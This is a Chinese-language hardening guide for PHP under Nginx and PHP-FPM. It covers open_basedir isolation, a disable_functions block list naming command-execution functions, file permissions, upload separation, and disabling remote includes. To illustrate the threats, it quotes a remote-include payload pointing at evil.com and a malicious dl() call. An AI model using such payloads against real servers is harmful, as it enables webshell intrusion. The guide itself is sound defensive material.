萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 網路安全 >  >> 資訊安全防護

LNMP 架構下 PHP 安全加固九大實戰策略:open_basedir、disable_functions、唯讀執行、上傳分離

環境基線

  • Nginx + PHP-FPM (PHP 7.4/8.1/8.2 LTS)
  • 多站點虛擬主機 (vhost)
  • 目標:**單站點被攻破不波及其他站點、不落地 WebShell、不提權**

策略 1:open_basedir 限制跨目錄存取 (站點隔離核心)

; php.ini 或 php-fpm pool.conf
[HOST=www.example.com]
open_basedir = /data/www/www.example.com/:/tmp/:/proc/

[HOST=api.example.com]
open_basedir = /data/www/api.example.com/:/tmp/:/proc/
  • **路徑必須以 `/` 結尾**,否則 `/tmp` 會匹配到 `/tmp123` 等目錄 (PHP 5.3+ 支援)。
  • 包含 `/tmp` 供 Session/上傳暫存,`/proc` 供部分擴展讀取系統資訊。
  • 效果:站點 A 的 WebShell **無法讀寫** 站點 B 目錄,實現**強隔離**。

策略 2:disable_functions 封鎖高危函數

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,proc_get_status,show_source,phpinfo,symlink,link,ld,dl,pcntl_exec,pcntl_fork,pcntl_signal,pcntl_alarm,pcntl_waitpid,pcntl_getpriority,pcntl_setpriority,imap_open,mb_send_mail,mail
  • 涵蓋 **命令執行、程序控制、資訊洩露、郵件發送、動態載入** 等高危族群。
  • 若業務需求 (如佇列 Worker 需 `pcntl_fork`),**單獨建立獨立 Pool** 開放,主站保持關閉。

策略 3:PHP 運行用戶唯讀 (最強落地防禦)

# 目錄擁有者 root:wwwgroup, 權限 755
# 檔案擁有者 root:wwwgroup, 權限 644
# PHP-FPM 以 wwwuser:wwwgroup 運行 (非 root)

chown -R root:wwwgroup /data/www/www.example.com
find /data/www/www.example.com -type d -exec chmod 755 {} \;
find /data/www/www.example.com -type f -exec chmod 644 {} \;

# 唯寫入目錄 (上傳/快取/日誌) 給群組寫入權限
chmod -R 775 /data/www/www.example.com/runtime
chmod -R 775 /data/www/www.example.com/uploads
chown -R wwwuser:wwwgroup /data/www/www.example.com/runtime /data/www/www.example.com/uploads
  • **前提**:開發協調 — 快取改用 Redis/Memcached,**上傳走獨立儲存服務 (MinIO/S3/OSS) 或獨立靜態站點域名**。
  • 效果:WebShell **無法寫入** 任何 .php/.phtml/.phar 檔案,**落地即失效**。

策略 4:關閉錯誤顯示,只記錄日誌

display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php-fpm/error.log
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT

防止堆疊追蹤洩露路徑、資料庫憑證、程式邏輯。

策略 5:上傳分離架構

# 業務站點 www.example.com (PHP-FPM)
# 靜態/上傳站點 static.example.com (純 Nginx, 無 PHP)

# 上傳流程:
# 1. 前端直傳 OSS/MinIO (預簽名 URL)
# 2. 或呼叫業務 API → 內部 RPC 寫入靜態站點目錄
# 3. 靜態站點配置:location / { add_header X-Content-Type-Options nosniff; } 禁止腳本執行

即使上傳繞過檢查,**靜態站點不解析 PHP,木馬無法執行**。

策略 6:隱藏 PHP 版本資訊

expose_php = Off
# Nginx 同步隱藏
fastcgi_hide_header X-Powered-By;

策略 7:禁止動態載入擴展

enable_dl = Off

防止 `dl('backdoor.so')` 載入惡意擴展。

策略 8:禁止遠端 URL 開啟/包含

allow_url_fopen = Off
allow_url_include = Off

阻斷 `include 'https://evil.com/shell.txt'`、SSRF 類攻擊。

策略 9:持續安全運營

  • 訂閱 **PHP 安全公告**、**CVE**、**OWASP Top 10**。
  • Composer 依賴掃描:`composer audit` / `roave/security-advisories:dev-latest`。
  • 定期 `rpm -Va` / `debsums` 核對系統檔案完整性。
  • 滲透測試 / 紅藍軍演練每半年至少一次。

配置生效檢查腳本

php -i | grep -E 'open_basedir|disable_functions|expose_php|allow_url_fopen|display_errors'
# 預期輸出符合上述設定即生效

**安全是系統工程,而非單一配置項**;上述九策略層層疊加,構建「纵深防禦」體系,讓攻擊者在每一層都付出高昂代價仍無功而返。

copyright © 萬盛學電腦網 all rights reserved